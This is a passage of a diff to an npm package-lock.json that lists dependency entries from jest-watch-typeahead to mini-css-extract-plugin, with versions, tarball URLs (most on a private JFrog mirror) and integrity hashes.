"https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/char-regex/-/char-regex-2.0.1.tgz", + "integrity": "sha512-oSvEeo6ZUD7NepqAat3RqoucZ5SeqLJgOvVIwkafu6IP3V0pO38s/ypdVUmDDK6qIIHNlYHJAKX9E7R7HoKElw==", + "engines": { + "node": ">=12.20" + } + }, + "node_modules/jest-watch-typeahead/node_modules/strip-ansi": { + "version": "7.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/strip-ansi/-/strip-ansi-7.1.0.tgz", + "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==", + "dependencies": { + "ansi-regex": "^6.0.1" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/jest-watch-typeahead/node_modules/strip-ansi/node_modules/ansi-regex": { + "version": "6.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-regex/-/ansi-regex-6.0.1.tgz", + "integrity": "sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==", + "engines": { + "node": ">=12" + } + }, + "node_modules/jest-watch-typeahead/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-watcher": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-watcher/-/jest-watcher-27.5.1.tgz", + "integrity": "sha512-z676SuD6Z8o8qbmEGhoEUFOM1+jfEiL3DXHK/xgEiG2EyNYfFG60jluWcupY6dATjfEsKQuibReS1djInQnoVw==", + "dependencies": { + "@jest/test-result": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "ansi-escapes": "^4.2.1", + "chalk": "^4.0.0", + "jest-util": "^27.5.1", + "string-length": "^4.0.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-watcher/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-watcher/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jest-watcher/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-watcher/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jest-watcher/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-watcher/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-worker": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-worker/-/jest-worker-27.5.1.tgz", + "integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==", + "dependencies": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^8.0.0" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/jest-worker/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-worker/node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jiti": { + "version": "1.18.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jiti/-/jiti-1.18.2.tgz", + "integrity": "sha512-QAdOptna2NYiSSpv0O/BwoHBSmz4YhpzJHyi+fnMRTXFjp7B8i/YG5Z8IfusxB1ufjcD2Sre1F3R+nX3fvy7gg==", + "bin": { + "jiti": "bin/jiti.js" + } + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==" + }, + "node_modules/js-yaml": { + "version": "3.14.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/js-yaml/-/js-yaml-3.14.1.tgz", + "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", + "dependencies": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/jsdom": { + "version": "16.7.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jsdom/-/jsdom-16.7.0.tgz", + "integrity": "sha512-u9Smc2G1USStM+s/x1ru5Sxrl6mPYCbByG1U/hUmqaVsm4tbNyS7CicOSRyuGQYZhTu0h84qkZZQ/I+dzizSVw==", + "dependencies": { + "abab": "^2.0.5", + "acorn": "^8.2.4", + "acorn-globals": "^6.0.0", + "cssom": "^0.4.4", + "cssstyle": "^2.3.0", + "data-urls": "^2.0.0", + "decimal.js": "^10.2.1", + "domexception": "^2.0.1", + "escodegen": "^2.0.0", + "form-data": "^3.0.0", + "html-encoding-sniffer": "^2.0.1", + "http-proxy-agent": "^4.0.1", + "https-proxy-agent": "^5.0.0", + "is-potential-custom-element-name": "^1.0.1", + "nwsapi": "^2.2.0", + "parse5": "6.0.1", + "saxes": "^5.0.1", + "symbol-tree": "^3.2.4", + "tough-cookie": "^4.0.0", + "w3c-hr-time": "^1.0.2", + "w3c-xmlserializer": "^2.0.0", + "webidl-conversions": "^6.1.0", + "whatwg-encoding": "^1.0.5", + "whatwg-mimetype": "^2.3.0", + "whatwg-url": "^8.5.0", + "ws": "^7.4.6", + "xml-name-validator": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "canvas": "^2.5.0" + }, + "peerDependenciesMeta": { + "canvas": { + "optional": true + } + } + }, + "node_modules/jsesc": { + "version": "2.5.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jsesc/-/jsesc-2.5.2.tgz", + "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==", + "bin": { + "jsesc": "bin/jsesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/json-parse-even-better-errors": { + "version": "2.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", + "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==" + }, + "node_modules/json-schema": { + "version": "0.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/json-schema/-/json-schema-0.4.0.tgz", + "integrity": "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==" + }, + "node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" + }, + "node_modules/json-stable-stringify-without-jsonify": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", + "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==" + }, + "node_modules/json5": { + "version": "2.2.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/jsonfile": { + "version": "6.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jsonfile/-/jsonfile-6.1.0.tgz", + "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==", + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/jsonpointer": { + "version": "5.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jsonpointer/-/jsonpointer-5.0.1.tgz", + "integrity": "sha512-p/nXbhSEcu3pZRdkW1OfJhpsVtW1gd4Wa1fnQc9YLiTfAjn0312eMKimbdIQzuZl9aa9xUGaRlP9T/CJE/ditQ==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/jsx-ast-utils": { + "version": "3.3.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jsx-ast-utils/-/jsx-ast-utils-3.3.3.tgz", + "integrity": "sha512-fYQHZTZ8jSfmWZ0iyzfwiU4WDX4HpHbMCZ3gPlWYiCl3BoeOTsqKBqnTVfH2rYT7eP5c3sVbeSPHnnJOaTrWiw==", + "dependencies": { + "array-includes": "^3.1.5", + "object.assign": "^4.1.3" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/kind-of": { + "version": "6.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/kind-of/-/kind-of-6.0.3.tgz", + "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/kleur": { + "version": "3.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/kleur/-/kleur-3.0.3.tgz", + "integrity": "sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==", + "engines": { + "node": ">=6" + } + }, + "node_modules/klona": { + "version": "2.0.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/klona/-/klona-2.0.6.tgz", + "integrity": "sha512-dhG34DXATL5hSxJbIexCft8FChFXtmskoZYnoPWjXQuebWYCNkVeV3KkGegCK9CP1oswI/vQibS2GY7Em/sJJA==", + "engines": { + "node": ">= 8" + } + }, + "node_modules/language-subtag-registry": { + "version": "0.3.22", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/language-subtag-registry/-/language-subtag-registry-0.3.22.tgz", + "integrity": "sha512-tN0MCzyWnoz/4nHS6uxdlFWoUZT7ABptwKPQ52Ea7URk6vll88bWBVhodtnlfEuCcKWNGoc+uGbw1cwa9IKh/w==" + }, + "node_modules/language-tags": { + "version": "1.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/language-tags/-/language-tags-1.0.5.tgz", + "integrity": "sha512-qJhlO9cGXi6hBGKoxEG/sKZDAHD5Hnu9Hs4WbOY3pCWXDhw0N8x1NenNzm2EnNLkLkk7J2SdxAkDSbb6ftT+UQ==", + "dependencies": { + "language-subtag-registry": "~0.3.2" + } + }, + "node_modules/launch-editor": { + "version": "2.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/launch-editor/-/launch-editor-2.6.0.tgz", + "integrity": "sha512-JpDCcQnyAAzZZaZ7vEiSqL690w7dAEyLao+KC96zBplnYbJS7TYNjvM3M7y3dGz+v7aIsJk3hllWuc0kWAjyRQ==", + "dependencies": { + "picocolors": "^1.0.0", + "shell-quote": "^1.7.3" + } + }, + "node_modules/leven": { + "version": "3.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/leven/-/leven-3.1.0.tgz", + "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==", + "engines": { + "node": ">=6" + } + }, + "node_modules/levn": { + "version": "0.4.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/levn/-/levn-0.4.1.tgz", + "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", + "dependencies": { + "prelude-ls": "^1.2.1", + "type-check": "~0.4.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/lilconfig": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/lilconfig/-/lilconfig-2.1.0.tgz", + "integrity": "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==", + "engines": { + "node": ">=10" + } + }, + "node_modules/lines-and-columns": { + "version": "1.2.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/lines-and-columns/-/lines-and-columns-1.2.4.tgz", + "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==" + }, + "node_modules/loader-runner": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/loader-runner/-/loader-runner-4.3.0.tgz", + "integrity": "sha512-3R/1M+yS3j5ou80Me59j7F9IMs4PXs3VqRrm0TU3AbKPxlmpoY1TNscJV/oGJXo8qCatFGTfDbY6W6ipGOYXfg==", + "engines": { + "node": ">=6.11.5" + } + }, + "node_modules/loader-utils": { + "version": "2.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/loader-utils/-/loader-utils-2.0.4.tgz", + "integrity": "sha512-xXqpXoINfFhgua9xiqD8fPFHgkoq1mmmpE92WlDbm9rNRd/EbRb+Gqf908T2DMfuHjjJlksiK2RbHVOdD/MqSw==", + "dependencies": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^2.1.2" + }, + "engines": { + "node": ">=8.9.0" + } + }, + "node_modules/locate-path": { + "version": "6.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "dependencies": { + "p-locate": "^5.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/lodash": { + "version": "4.17.21", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" + }, + "node_modules/lodash.debounce": { + "version": "4.0.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/lodash.debounce/-/lodash.debounce-4.0.8.tgz", + "integrity": "sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==" + }, + "node_modules/lodash.memoize": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/lodash.memoize/-/lodash.memoize-4.1.2.tgz", + "integrity": "sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag==" + }, + "node_modules/lodash.merge": { + "version": "4.6.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/lodash.merge/-/lodash.merge-4.6.2.tgz", + "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==" + }, + "node_modules/lodash.sortby": { + "version": "4.7.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/lodash.sortby/-/lodash.sortby-4.7.0.tgz", + "integrity": "sha512-HDWXG8isMntAyRF5vZ7xKuEvOhT4AhlRt/3czTSjvGUxjYCBVRQY48ViDHyfYz9VIoBkW4TMGQNapx+l3RUwdA==" + }, + "node_modules/lodash.uniq": { + "version": "4.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/lodash.uniq/-/lodash.uniq-4.5.0.tgz", + "integrity": "sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ==" + }, + "node_modules/loose-envify": { + "version": "1.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/loose-envify/-/loose-envify-1.4.0.tgz", + "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", + "dependencies": { + "js-tokens": "^3.0.0 || ^4.0.0" + }, + "bin": { + "loose-envify": "cli.js" + } + }, + "node_modules/lower-case": { + "version": "2.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/lower-case/-/lower-case-2.0.2.tgz", + "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==", + "dependencies": { + "tslib": "^2.0.3" + } + }, + "node_modules/lru-cache": { + "version": "5.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "dependencies": { + "yallist": "^3.0.2" + } + }, + "node_modules/lz-string": { + "version": "1.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/lz-string/-/lz-string-1.5.0.tgz", + "integrity": "sha512-h5bgJWpxJNswbU7qCrV0tIKQCaS3blPDrqKWx+QxzuzL1zGUzij9XCWLrSLsJPu5t+eWA/ycetzYAO5IOMcWAQ==", + "bin": { + "lz-string": "bin/bin.js" + } + }, + "node_modules/magic-string": { + "version": "0.25.9", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/magic-string/-/magic-string-0.25.9.tgz", + "integrity": "sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ==", + "dependencies": { + "sourcemap-codec": "^1.4.8" + } + }, + "node_modules/make-dir": { + "version": "3.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/make-dir/-/make-dir-3.1.0.tgz", + "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "dependencies": { + "semver": "^6.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/make-dir/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/makeerror": { + "version": "1.0.12", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/makeerror/-/makeerror-1.0.12.tgz", + "integrity": "sha512-JmqCvUhmt43madlpFzG4BQzG2Z3m6tvQDNKdClZnO3VbIudJYmxsT0FNJMeiB2+JTSlTQTSbU8QdesVmwJcmLg==", + "dependencies": { + "tmpl": "1.0.5" + } + }, + "node_modules/mdn-data": { + "version": "2.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/mdn-data/-/mdn-data-2.0.4.tgz", + "integrity": "sha512-iV3XNKw06j5Q7mi6h+9vbx23Tv7JkjEVgKHW4pimwyDGWm0OIQntJJ+u1C6mg6mK1EaTv42XQ7w76yuzH7M2cA==" + }, + "node_modules/media-typer": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", + "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/memfs": { + "version": "3.5.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/memfs/-/memfs-3.5.3.tgz", + "integrity": "sha512-UERzLsxzllchadvbPs5aolHh65ISpKpM+ccLbOJ8/vvpBKmAWf+la7dXFy7Mr0ySHbdHrFv5kGFCUHHe6GFEmw==", + "dependencies": { + "fs-monkey": "^1.0.4" + }, + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/merge-descriptors": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.3.tgz", + "integrity": "sha512-gaNvAS7TZ897/rVaZ0nMtAyxNyi/pdbjbAwUpFQpN70GqnVfOiXpeUUMKRBmzXaSQ8DdTX4/0ms62r2K+hE6mQ==", + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/merge-stream": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/merge-stream/-/merge-stream-2.0.0.tgz", + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==" + }, + "node_modules/merge2": { + "version": "1.4.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "engines": { + "node": ">= 8" + } + }, + "node_modules/methods": { + "version": "1.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/methods/-/methods-1.1.2.tgz", + "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/micromatch": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz", + "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", + "dependencies": { + "braces": "^3.0.3", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mimic-fn": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/mimic-fn/-/mimic-fn-2.1.0.tgz", + "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==", + "engines": { + "node": ">=6" + } + }, + "node_modules/min-indent": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/min-indent/-/min-indent-1.0.1.tgz", + "integrity": "sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==", + "engines": { + "node": ">=4" + } + }, + "node_modules/mini-css-extract-plugin": { + "version": "2.7.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/mini-css-extract-plugin/-/mini-css-extract-plugin-2.7.6.tgz", + "integrity": 